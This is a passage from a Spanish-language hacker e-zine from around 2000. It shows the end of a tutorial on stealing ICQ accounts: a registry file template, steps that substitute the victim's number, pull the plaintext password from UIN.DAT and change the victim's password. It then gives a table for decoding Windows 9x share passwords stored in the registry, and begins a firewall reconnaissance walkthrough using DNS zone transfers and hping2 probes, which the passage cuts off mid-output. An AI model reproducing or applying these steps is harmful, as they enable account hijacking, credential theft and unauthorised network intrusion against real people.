"Out PresetsMsg 2"="Closed"
"Busy PresetsMsg 2"="Concentration"
"DND PresetsMsg 2"="Concentration"
"Chat PresetsMsg 2"="Fun"
"AwayMsg Presets 3"="I'm out with the dog. Be back when he's finished."
"OutMsg Presets 3"="Gone fishin'."
"DNDMsg Presets 3"="I'm on the phone. Don't disturb me!"
"ChatMsg Presets 3"="What are you waiting for? Come on in!"
"Away PresetsMsg 3"="Dog Walk"
"Out PresetsMsg 3"="Fishing"
"Busy PresetsMsg 3"="On the Phone"
"DND PresetsMsg 3"="On the Phone"
"Chat PresetsMsg 3"="Don't Wait"
"AwayMsg Presets 4"="Went out for a smoke. "
"OutMsg Presets 4"="I'm sleeping. Don't waque me."
"DNDMsg Presets 4"="I can't chat with you now. I'm busy."
"ChatMsg Presets 4"="We'd love to hear what you have to say. Join our chat."
"Away PresetsMsg 4"="Smoke"
"Out PresetsMsg 4"="Sleeping"
"Busy PresetsMsg 4"="Can't chat "
"DND PresetsMsg 4"="Can't chat "
"Chat PresetsMsg 4"="Hear"
"AwayMsg Presets 5"="On my Coffee break."
"OutMsg Presets 5"="Went home. Had to feed the kids."
"DNDMsg Presets 5"="Can't you see I'm working?"
"ChatMsg Presets 5"="Enter your chat room message here"
"Away PresetsMsg 5"="Coffee"
"Out PresetsMsg 5"="Kids"
"Busy PresetsMsg 5"="Working"
"DND PresetsMsg 5"="Working"
"Chat PresetsMsg 5"="Empty"
"AwayMsg Presets 6"="Went to get some fresh air."
"OutMsg Presets 6"="Gone for good."
"DNDMsg Presets 6"="Enter your occupied message here"
"ChatMsg Presets 6"="Enter your chat room message here"
"Away PresetsMsg 6"="Air"
"Out PresetsMsg 6"="Gone"
"Busy PresetsMsg 6"="Conversing"
"DND PresetsMsg 6"="Empty"
"Chat PresetsMsg 6"="Empty"
"BusyMsg Presets 7"="User is occupied. Only urgent messages will be delivered."
"DNDMsg Presets 7"="Enter your occupied message here"
"ChatMsg Presets 7"="Enter your chat room message here"
"Away PresetsMsg 7"="Empty"
"Out PresetsMsg 7"="Empty"
"Busy PresetsMsg 7"="Empty"
"DND PresetsMsg 7"="Empty"
"Chat PresetsMsg 7"="Empty"
"BusyMsg Presets 0"="User is currently Occupied"
"ChatMsg Presets 0"="I would lique to chat about anything"
"BusyMsg Presets 1"="User is currently Occupied1"
"BusyMsg Presets 2"="User is currently Occupied2"
"BusyMsg Presets 3"="User is currently Occupied"
"BusyMsg Presets 4"="User is currently Occupied"
"BusyMsg Presets 5"="User is currently Occupied"
"BusyMsg Presets 6"="User is currently Occupied"
"AwayMsg Presets 7"="User is currently away"
"OutMsg Presets 7"="User is currently N/A"
"AwayMsg Presets 0"="User is currently away\r\nYou can leave him/her a message"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD]

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message0]
"Message"="Please bookmark our network status page."
"URLName"="http://www.mirabilis.com/status.html"
"URL"="press here"
"Date"=""

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message1]
"URLName"="http://www.mirabilis.com/emailsig.html"
"URL"="Go to the ICQ e-mail signature generator"
"Date"=""

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message2]
"Message"="ICQ is doing it again! One more new service from ICQ for your
pleasure! Create your ICQ interest group - home, work, family, hobby,
affiliation, sports, music...etc..( It's straight forward, no HTML
needed! )"
"URLName"="http://www.icq.com/announcements/02.html"
"URL"="It's fun and easy, GO!!"
"Date"="31-MAR-98"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message3]
"URLName"="http://www.icq.com/announcements/whitepages.html"
"URL"="Go!"
"Date"="1-APR-98"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message4]
"Message"="ICQ can notify you when you receive an e-mail and show you the
e-mail
headers! Learn how to do it!"
"URLName"="http://www.mirabilis.com/email.html"
"URL"="E-mail notification instructions"
"Date"="15-JUN-98"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Messag
e5]
"URLName"="http://www.icq.com/announcements/05.html"
"URL"="Create your Greeting"
"Date"="12-JUL-98"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Messag
e6]
"URLName"="http://www.icq.com/announcements/06.html"
"URL"="Click For More Information"
"Date"="26-AUG-98"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Messag
e7]
"Message"="ICQ can alert you when you receive Emails and show you the Email
headers!"
"URLName"="http://www.icq.com/announcements/07.html"
"URL"="Learn how to do it"
"Date"="06-SEPT-98"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Messag
e8]
"URLName"="http://www.icq.com/announcements/06.html"
"URL"="Click For More Information"
"Date"="20-OCT-98"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s]

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s\RandomGroup1]
"Name"="General Chat"
"Number"=dword:00000001
"Version"=dword:00000001

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s\RandomGroup2]
"Name"="Romance"
"Number"=dword:00000002
"Version"=dword:00000002

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s\RandomGroup3]
"Name"="Games"
"Number"=dword:00000003
"Version"=dword:00000003

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s\RandomGroup4]
"Name"="Students"
"Number"=dword:00000004
"Version"=dword:00000004

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s\RandomGroup5]
"Name"="20 Something"
"Number"=dword:00000006
"Version"=dword:00000006

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s\RandomGroup6]
"Name"="30 Something"
"Number"=dword:00000007
"Version"=dword:00000007

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s\RandomGroup7]
"Name"="40 Something"
"Number"=dword:00000008
"Version"=dword:00000008

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroup
s\RandomGroup8]
"Name"="50 Plus"
"Number"=dword:00000009
"Version"=dword:00000009

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers]

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers\Ser
ver1]
"Host"="icq1.mirabilis.com"
"Port"=dword:00000fa0

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals]

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\C
anasta]
"Type"="Command"
"Command Line"="/ip:"
"Path"="C:\\Program Files\\Canasta\\Canasta.exe"
"URL"="http://ourworld.compuserve.com/homepages/mharte"
"Version"=dword:0000000f

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\C
onnectix
VideoPhone]
"Type"="Extension"
"Format"="/p:tcp /ac:"
"Extension"="cvp"
"URL"="http://www.connectix.com/html/videophone.html"
"Version"=dword:00000009

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\C
u-Seeme]
"Type"="Command"
"Command Line"=""
"Path"="C:\\CUSEEME\\CUSEEM32.EXE"
"URL"="http://www.cu-seeme.com/"
"Version"=dword:00000006

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\I
RIS
Phone]
"Type"="Extension"
"Format"=""
"Extension"="iru"
"URL"="http://irisphone.com/"
"Version"=dword:0000000a

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\M
icrosoft
VChat]
"Type"="ServerExtension"
"Format"="1.1\\n-u 1 -a "
"Extension"="vce"
"NumParameters"=dword:00000002
"Server1"="vchat1.microsoft.com"
"URL"="http://vchat1.microsoft.com"
"Version"=dword:00000011

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\M
icrosoft
VChat\Param1]
"ParamName"="World"
"CanOtherChange"="No"
"Param1"="#Compass"
"Param2"="#BugWorld"
"Param3"="#Fishbowl"
"Param4"="#Lodge"
"Param5"="#Lunar"
"Param6"="#Lodge"
"Param7"="#Practice"
"Param8"="#RedDen"
"Param9"="#TableTop"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\M
icrosoft
VChat\Param2]
"ParamName"="Avatar"
"CanOtherChange"="Yes"
"Param1"="Amani"
"Param2"="Anderson"
"Param3"="Brb"
"Param4"="Cat"
"Param5"="Crab"
"Param6"="Dancer"
"Param7"="Dred"
"Param8"="Duggan"
"Param9"="Joey"
"Param10"="Lulu"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\N
etscape
CoolTalk]
"Type"="Command"
"Command Line"=""
"Path"="C:\\Program Files\\Netscape\\Navigator\\CoolTalk\\CoolTalk.EXE"
"URL"="http://home.netscape.com/comprod/products/navigator/version_3.0/commu
nication/cooltalk/index.html"
"Version"=dword:00000004

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\R
ikken
on the Rockx]
"Type"="ClientServer"
"Client Command Line"="/CLIENT %i"
"Server Command Line"="/SERVER"
"Client Path"="C:\\Rikken\\Rikken.exe"
"Server Path"="C:\\Rikken\\Rikken.exe"
"URL"="http://www.dse.nl/~ramon/rikken/"
"Version"=dword:00000017

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\V
DOPhone]
"Type"="Extension"
"Format"="callto://"
"Extension"="vdp"
"URL"="http://www.vdo.net/download/"
"Version"=dword:00000003

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\V
idCall]
"Type"="Command"
"Command Line"=""
"Path"="C:\\VidCall\\Corp.EXE"
"URL"="http://www.access.digex.net/~vidcall/vidcall.html"
"Version"=dword:00000008

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\W
ebPhone]
"Type"="Extension"
"Format"=""
"Extension"="wpc"
"URL"="http://www.webphone.com/"
"Version"=dword:00000007

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Q
uake]
"Type"="ClientServer"
"Client Command Line"="-mpath +connect %i"
"Server Command Line"="-mpath -listen"
"Client Path"="c:\\quake_sw\\Q95.bat"
"Server Path"="c:\\quake_sw\\Q95.bat"
"Server1"="quake.xmisson.com"
"URL"="http://www.idsoftware.com"
"Version"=dword:00000010

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\V
oxChat]
"Type"="ServerCommand"
"Format"="GROUPNAME=i PORT=15000"
"Path"="C:\\Program Files\\VoxChat\\VoxChat.exe"
"NumParameters"=dword:00000001
"Server1"="voxchat1.voxware.com"
"Server2"="voxcha2.voxware.com"
"URL"="http://www.voxchat.com/low/download.htm"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\V
oxChat\Param1]
"ParamName"="Room"
"CanOtherChange"="No"
"Param1"="#ICQ"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\PhoneLocati
ons]
"LastUpdate"=dword:00000000

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Main]
"SelectedCell"=dword:00000000
"AlwaysOnTop"="Yes"
"LeftBarWidth"=dword:000000ad
"RightBarWidth"=dword:000000ad
"FloatBar-Left"=dword:00000255
"FloatBar-Right"=dword:00000307
"FloatBar-Top"=dword:00000033
"FloatBar-Bottom"=dword:000001f3
"State"="Floating"
"Minimized"="No"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Windows]
"Response"=dword:008f00c9
"SearchWiz"=dword:006f00c0
"NotifyWiz"=dword:006f00c0
"posNovice"=dword:009300dc
"posMOTD"=dword:00af00b7
"posMenuConfig"=dword:00a900e7
"RemoveUIN"=dword:00bb0108
"Message"=dword:008b004f
"Security"=dword:007400b4
"Prefs"=dword:007f00ae
"History"=dword:0096003a
"File Request"=dword:009000f0
"FileTransfer"=dword:009700ae
"Info"=dword:009300d2
"FetchUser"=dword:00e9010e
"URL Message"=dword:00a00069
"Away"=dword:00bd00f7
"Chat Request"=dword:009f00dd
"Contacts List"=dword:008300bd
"Chat"=dword:008b00f5
"Phone"=dword:000a000a
"Phone Call Request"=dword:007700e5

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Search]
"Place"=dword:00a400cc
"Type"=dword:00000002
"Width"=dword:01880188

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\ICQ Chat]
"ChatStyle Counter"=dword:00000003
"Pen Color"=dword:0080ffff
"Back Color"=dword:00004000
"Send Focus"="Yes"
"Enable Sounds"="Yes"
"Name Bars"="Yes"
"Always On Top"="No"
"AutoColor"="No"
"OverRide Format"="Yes"
"Show Toolbar"="Yes"
"State"=dword:00010000
"New Font Name"="Times New Roman"
"Char Set"=dword:00000000
"IRCListWidth"=dword:00000006
"Font Pitch"=dword:00000012
"New Font Height"=dword:0000000e
"Font Effects"=dword:00000000
"AutoColor 0"=dword:00000000
"AutoColor 1"=dword:00000080
"AutoColor 2"=dword:00008000
"AutoColor 3"=dword:00008080
"AutoColor 4"=dword:00800000
"AutoColor 5"=dword:00800080
"AutoColor 6"=dword:00808000
"AutoColor 7"=dword:00808080
"AutoColor 8"=dword:00c0c0c0
"AutoColor 9"=dword:000000ff
"AutoColor 10"=dword:0000ff00
"AutoColor 11"=dword:0000ffff
"AutoColor 12"=dword:00ff0000
"AutoColor 13"=dword:00ff00ff
"AutoColor 14"=dword:00ffff00
"AutoColor 15"=dword:00ffffff
"Place-Left"=dword:0000000a
"Place-Right"=dword:000001fe
"Place-Top"=dword:0000000a
"Place-Bottom"=dword:0000021a
"New LogFile name"="ICQChatLog.txt"
"New SaveFile name"="ICQChatSave.txt"
<----------Cortar aqui ----------------->

OJO OJO OJO OJO OJO OJO OJO OJO OJO OJO OJO OJO OJO
OJO OJO Debes cambiar donde dice HACKEDUIN  OJO OJO
OJO OJO por el numero de ICQ de la victima  OJO OJO
OJO OJO de otra forma no servira para nada  OJO OJO
OJO OJO las entradas al registro!!!!!!      OJO OJO
OJO OJO OJO OJO OJO OJO OJO OJO OJO OJO OJO OJO OJO

4. Guarda el archivo como Robo.reg
5. Abre robo.reg
6. Cuando te pregunte que si quieres agregar el archivo al registro le dices
   que SI
7. Abre el DBConverter (Viene con ICQ99)
8. Selecciona el uin que te acabas de robar
9. Cuando termine de convertir la lista deberia abrirse el ICQ
   automagicamente, si no lo hace, abrelo tu.
10. Si cuando el icq se abre el usuario actual no es el que te acabas de
robar, haz click donde dice: ICQ --> Add/Change the active user --> Change
the active user --> Selecciona el ICQ robado.

Ahora 2 cosas pueden pasar;

(1) El Icq de la victima se abre sin problemas y te queda registrado en tu Pc.
(2) EL icq te pide la clave del usuario

Bien, si tu caso es el dos pueden haber pasado 2 cosas:

A. Tienen puesto el nivel de seguridad al maximo, para solucionar este
problema tienes que bajarte el ICQ Crack y pillarte el pass

[ NOTA DEL EDITOR: ]
[ El password del ICQ se encuentra en texto plano en el archivo UIN.DAT   ]
[ delante de la seccion  UpdateInfoStatus . O con cualquier editor busca  ]
[ la cadena "Password" y delante veras el password.               Yo_Soy  ]

B. La victima todavia esta conectada, Si esto pasa no puedes hacer nada mas
que esperar a que se desconecte para seguir con lo planeado.

11. Cuando puedas conectarte con el icq de la victima rapidamente cambia la
clave de la victima.... Ok, tienes el control total sobre ese ICQ.....

MISION: CUMPLIDA!!!!!

Ok, espero que te haya gustado y hayas aprendido algo con esta sencilla pero
poderosa forma de robar cuentas de icq, si tienes alguna duda, pregunta,
comentario o lo que sea no dudes en hacermela llegar a prepucio@usa.net

Agradeciemientos: A mi papa, por pagarme la cuenta del telefono y a mi
abuelo por haberme regalado mi primer Pc.... xD

Stele

|---------------------------------------------------
|              Steles d0m41nz                     |
|          http://Stele.tripod.com                 |
| If hacking is your religion, this is your church |
---------------------------------------------------|

Nota: Si vives en Colombia y sabes de H/C/P/V No dudes en mandarme un mail,
tengo bastantes proyectos en mente que me gustaria compartir.


=============================================================================
--------------------------------------------------------------------------09-
-----( MS Windows Share Passwords )------------------------------------RM-10]
-----[ Yo_Soy ]------------------------------------[yo_soy@raza-mexicana.org]

Esto es relativamente viejo, pero de todas maneras voy a hablar de esto.
Supongo que alguna vez has visto los recursos compartidos de maquinas con
Windows 9x. Pues bien, estos recursos pueden restringirse a ciertos usuarios
utilizando contrase~as, en el cual tenemos dos opciones:

 * Contrase~as de Solo Lectura
 * Contrase~as de Acceso Total
 
Bueno, en realidad son tres opciones (la tercera depende de la contrase~a).

Estas contrase~as son guardadas en el Registro de Windows, lo cual llena de
ideas a mi malevolo cerebro ;). Los passwords se guardan en la siguiente
entrada del registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan

En esa entrada veremos los recursos compartidos (con el nombre que se le ha
sido asignado). Supongamos que hemos compartido el directorio C:\TC y le
hemos puesto "TC" como nombre de recurso compartido y le asignamos algunas
contrase~as.

La entrada de registro para dicho recurso, queda asi:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\TC]
"Flags"=dword:00000103
"Type"=dword:00000000
"Path"="C:\\TC"
"Parm2enc"=hex:
"Parm1enc"=hex:73,df,1f
"Remark"=""

Los valores se guardan asi:

Parm1enc = Contrase~a de acceso total
Parm2enc = Contrase~a de solo lectura
Path     = Ubicacion del recurso compartido
Remark   = Comentario o descripcion

Los valores en Parm1enc y Parm2enc se guardan en binario, asi por ejemplo:
"Parm1enc"=hex:73,df,1f

Separamos en la cadena en dos caracteres:

73 df 1f
|  |  |-- R (tercer caracter)     <--- Podemos darnos cuenta de que
|  |----- E (segundo caracter)         la contrase~a es: FER
|-------- F (primer caracter)

Los valores dependen de la posicion en la cual se encuentran, por ejemplo
"73" es el primer caracter, por lo tanto buscamos en la primera columna,
luego "df" es la segunda posicion, por lo tanto buscamos en la segunda
columna de la tabla y asi sucesivamente.


---------[ TABLA DE VALORES ]----------

A	=74 =db =0c =e7 =12 =e8 =95 =2b
B	=77 =d8 =0f =e4 =11 =eb =96 =28
C	=76 =d9 =0e =e5 =10 =ea =97 =29
D	=71 =de =09 =e2 =17 =ed =90 =2e
E	=70 =df =08 =e3 =16 =ec =91 =2f
F	=73 =dc =0b =e0 =15 =ef =92 =2c
G	=72 =dd =0a =e1 =14 =ee =93 =2d
H	=7d =d2 =05 =ee =1b =e1 =9c =22
I	=7c =d3 =04 =ef =1a =e0 =9d =23
J	=7f =d0 =07 =ec =19 =e3 =9e =20
K	=7e =d1 =06 =ed =18 =e2 =9f =21
L	=79 =d6 =01 =ea =1f =e5 =98 =26
M	=78 =d7 =00 =eb =1e =e4 =99 =27
N	=7b =d4 =03 =e8 =1d =e7 =9a =24
O	=7a =d5 =02 =e9 =1c =e6 =9b =25
P	=65 =ca =1d =f6 =03 =f9 =84 =3a
Q	=64 =cb =1c =f7 =02 =f8 =85 =3b
R	=67 =c8 =1f =f4 =01 =fb =86 =38
S	=66 =c9 =1e =f5 =00 =fa =87 =39
T	=61 =ce =19 =f2 =07 =fd =80 =3e
U	=60 =cf =18 =f3 =06 =fc =81 =3f
V	=63 =cc =1b =f0 =05 =ff =82 =3c
W	=62 =cd =1a =f1 =04 =fe =83 =3d
X	=6d =c2 =15 =fe =0b =f1 =8c =32
Y	=6c =c3 =14 =ff =0a =f0 =8d =33
Z	=6f =c0 =17 =fc =09 =f3 =8e =30
space   =15 =ba =6d =86 =73 =89 =f4 =4a
1	=04 =ab =7c =97 =62 =98 =e5 =5b
2	=07 =a8 =7f =94 =61 =9b =e6 =58
3	=06 =a9 =7e =95 =60 =9a =e7 =59
4	=01 =ae =79 =92 =67 =9d =e0 =5e
5	=00 =af =78 =93 =66 =9c =e1 =5f
6	=03 =ac =7b =90 =65 =9f =e2 =5c
7	=02 =ad =7a =91 =64 =9e =e3 =5d
8	=0d =a2 =75 =9e =6b =91 =ec =52
9	=0c =a3 =74 =9f =6a =90 =ed =53
0	=05 =aa =7d =96 =63 =99 =e4 =5a
~	=4b =e4 =33 =d8 =2d =d7 =aa =14
`	=55 =fa =2d =c6 =33 =c9 =b4 =0a
!	=14 =bb =6c =87 =72 =88 =f5 =4b
@	=75 =da =0d =e6 =13 =e9 =94 =2a
#	=16 =b9 =6e =85 =70 =8a =f7 =49
$	=11 =be =69 =82 =77 =8d =f0 =4e
%	=10 =bf =68 =83 =76 =8c =f1 =4f
^	=6b =c4 =13 =f8 =0d =f7 =8a =34
&	=13 =bc =6b =80 =75 =8f =f2 =4c
*	=1f =b0 =67 =8c =79 =83 =fe =40
(	=1d =b2 =65 =8e =7b =81 =fc =42
)	=1c =b3 =64 =8f =7a =80 =fd =43
-	=18 =b7 =60 =8b =7e =84 =f9 =47
_	=6a =c5 =12 =f9 =0c =f6 =8b =35
+	=1e =b1 =66 =8d =78 =82 =ff =41
=	=08 =a7 =70 =9b =6e =94 =e9 =57
[	=6e =c1 =16 =fd =08 =f2 =8f =31
]	=68 =c7 =10 =fb =0e =f4 =89 =37
{	=4e =e1 =36 =dd =28 =d2 =af =11
}	=48 =e7 =30 =db =2e =d4 =a9 =17
;	=0e =a1 =76 =9d =68 =92 =ef =51
:	=0f =a0 =77 =9c =69 =93 =ee =50
'	=12 =bd =6a =81 =74 =8e =f3 =4d
"	=17 =b8 =6f =84 =71 =8b =f6 =48
,	=19 =b6 =61 =8a =7f =85 =f8 =46
<	=09 =a6 =71 =9a =6f =95 =e8 =56
.	=1b =b4 =63 =88 =7d =87 =fa =44
>	=0b =a4 =73 =98 =6d =97 =ea =54
?	=0a =a5 =72 =99 =6c =96 =eb =55
/	=1a =b5 =62 =89 =7c =86 =fb =45
\	=69 =c6 =11 =fa =0f =f5 =88 =36
|	=49 =e6 =31 =da =2f =d5 =a8 =16
---------------------------------------

Un programa que lo realiza viene acompa~ado en esta revista (lanman.c)

=============================================================================
--------------------------------------------------------------------------10-
-----( Llaves PGP )----------------------------------------------------RM-10]
-----[ 0x90 ]--------------------------------------------------[0x90@s0d.org]


/*
ESTE ARTICULO ES SOLO PARA FINES EDUCATIVOS, NI s0d NI EL AUTOR SE HACEN
RESPONSABLES DE LAS ACCIONES DE LOS LECTORES DE ESTE ARTICULO, SI NO ESTA 
SATISFECHO CON ESTE ARREGLO LEGAL DEBERA BORRAR ESTE ARTICULO INMEDIATAMENTE.
AL TENER ESTE ARTICULO EN SU PODER EL CAUSANTE NIEGA TODA RESPONSABILIDAD A
s0d Y AL AUTOR POR LOS ACTOS PERPETRADOS POR EL MISMO CAUSANTE, ASI PUES SE
NIEGA TODA RESPONSABILIDAD JURIDICA Y CIVIL A s0d Y AL AUTOR.

COPYRIGHT 2000 DE 0x90 Y Tha s0d Crew!!!!!!

0x90
*/

   "If I was to hack some heavy metal I would work my way to
                    the low security level and try the backdoor!"
                                                -- Zero Cool en Hackers

I. INTRODUCCION

Si alguna vez esa pelicula dijo algo cierto fue esa vez (vamos cuantos de
ustedes han visto Unix correr sobre una apple con RISC!!!!).

Soy 0x90 (NOP pa la raza) ... soy miembro y programador lider de s0d
(www.s0d.org) y "groupie" de raza, ya que no he sido introducido formalmente
al grupo, este articulo esta basado en tecnicas simples pero que funcionan
perfectamente en cualquier tipo de institucion que tenga los requerimientos
que se dan (creanme son pocos y 90% del tiempo se dan de todos modos).

El firewall se ha convertido en una bandera para detener a los hackers,
"Estamos seguros tenemos un firewall" he oido decir muchas veces a clientes
con sonrisas hasta que en 5 minutos hay un signo # en mi Eterm ..
OoOoOoOpPpPpPPpSSSssSss!!!! ... no tan seguro huh? .. asi es soy un auditor
de seguridad en internet, audito software y firewalls, asi pues puedo decir
que un firewall comprado y puesto en la red nada mas asi sin configuracion
es vulnerable a una gran cantidad de peque~as cosas que llevan a tener root
en el server (o administrador en el caso de NT).

Asi pues estas tecnicas no son las avanzadas, ni de cerquita!, pero ayudan
ayudan .. estas tecnicas son ense~adas a los tecnicos cuando entran a
trabajar con nosotros y son nuevos en el underground hacking ...

NOTA: El hacker avanzado se va a reir de esto pero el que rie al ultimo rie
mejor ... algunas de estas madres truenan IDS, que no es usado en Mexiko
pero que tal en paises en europa y US (pueden decir GM, FORD, ERICCSSON,
TELIA, TELENORDIA, etc).

II."THE BIG ENCHILADA" O "CHINGADOS NADA ESTA ABIERTO Y MI TRACEROUTE NO
    JALA!"

Probablemente te hayas encontrado con un firewall, no es comun en Mexiko
pero se esta haciendo comun en otros lugares (cuando van a dejar de poner ACL
en sus pinches routers en lugar de poner un firewall .. pendejos).

Los programas usados para la realizacion de este articulo estan publicados
en www.s0d.org en la seccion de articulos (el articulo ahi esta en ingles).

Como reconocer un firewall? que tal:

mastah@NOP# traceroute 192.0.0.1
10.0.0.254            10ms      10ms    10ms
10.2.190.6            100ms     100ms   112ms
10.190.1.45           300ms     320ms   230ms
192.0.0.254           *         *       *
192.0.0.254           *         *       *
192.0.0.254           *         *       *
^C
mastah@NOP#

Okas esto parece ser un firewall, igual es un pendejo con ACL en sus routers
o algo asi, entonces vamos a ver si es un firewall ...

mastah@NOP#d ig neverland.org

Registrant:
Proffice AB (PROFFICE6-DOM)
   Box 70368
   Stockholm, 107 24
   SE

   Domain Name: PROFFICE.COM

   Administrative Contact:
      Orgasm, Fake  (FOR43)  fake.orgasm@NEVELAND.ORG
      Neverland SA de CV
      Barril 15
      Veindad del Chavo del 8
      UGH
      +55 15 lame-ass-number
   Technical Contact, Zone Contact:
      Komotaz, Hola  (OHO999)  Hola.Komotaz@NEVERLANG.ORG
      Neverland SA de CV
      Barril 16
      Vecindad del Chavo del 8
      UGH
      +44 15 800-eat-shit
   Billing Contact:
      Orgasm, Fake  (FOR43)  fake.orgasm@NEVELAND.ORG
      Neverland SA de CV
      Barril 15
      Veindad del Chavo del 8
      UGH
      +55 15 lame-ass-number

   Record last updated on 29-Sep-1999.
   Record expires on 29-Sep-2001.
   Record created on 29-Sep-1999.
   Database last updated on 1-May-2000 03:33:58 EDT.

   Domain servers in listed order:

   DNS1.NEVERLAND.ORG  192.0.0.2
   DNS2.NEVERLAND.ORG  192.10.1.1

mastah@NOP#

Okas el dns primario es dns1.neverland.org y el secundario dns2.neverland.org
(doh!!!), okas asi pues

mastah@NOP# nslookup
Server: 10.0.0.1
hazkakita.kon.kulote.org
>server dns1.neverland.org
Server: 192.0.0.1
dns1.neverland.org
>ls -d neverland.org
[dns1.neverland.org]
$ORIGIN neverland.org.
@                       1D IN SOA       dns1 ughgna.hijack.telelele.ug. (
                                        2000012614      ; serial
                                        8H              ; refresh
                                        2H              ; retry
                                        1W              ; expiry
                                        1D )            ; minimum

                        1D IN NS        dns1
                        1D IN NS        dns2.neverland.org.
                        1D IN MX        20 mail2
                        1D IN MX        10 mail1
learn                   1D IN A         192.0.0.15.
x-edu                   1D IN MX        10 mail.neverland.org
netmeeting              1D IN A         192.0.0.40
findme                  1D IN NS        dns1
fuck.edu                1D IN A         192.10.1.40
admnet                  1D IN A         192.0.0.80
webmail                 1D IN CNAME     mail1
luvit                   1D IN A         192.0.0.103
mail1                   1D IN A         webmail
dns1                    1D IN A         192.0.0.2
www                     1D IN A         192.0.0.90
gw                      1D IN A         192.0.0.254
@                       1D IN SOA       dns1 ughgna.hijack.telelele.ug. (
                                        2000012614      ; serial
                                        8H              ; refresh
                                        2H              ; retry
                                        1W              ; expiry
                                        1D )            ; minimum


>exit
mastah@NOP#

okas asi pues vemos el IP 192.0.0.254 y se llama gw.neverland.org ... Hrmmm
suena atractivo (igual y el wey le pone fw, si le puso asi le podemos gritar
pendejo todos juntos y simplemente dejar de buscar el firewall)

Okas como hacemos la gracia de saber si es un firewall o un router?, okas
podemos mandar un queso o nmap ... pero para que dejar nuestro IP en todo el
firewall si podemos checar si es un router facilmente??? (recuerden que no
es rafico mandar un paquete sin flags o con todas prendidas).

Para esta gracia vamos a usar una de mis herramientas favoritas, hping2. Este
peque~o enano te deja poder checar reglas del firewall si sabes lo que esta
haciendo (hasta te deja mandar fake IP ... };-P ), okas asi pues vamos a ver
que gracias hacemos. Si es un router podemos apostar que 80% de las veces va
a ser un CISCO, asi pues chequemos si tiene el puerto 2001 abierto:

masta@NOP# hping2 -S -p 2001 192.0.0.254
eth0 default routing interface selected (according to /proc)
HPING 192.0.0.254 (eth0 192.0.0.254): S set, 40 headers + 0 data bytes
50 bytes from 192.0.0.254: flags=RA seq=0 ttl=41 id=59571 win=32736 rtt=172.3 ms
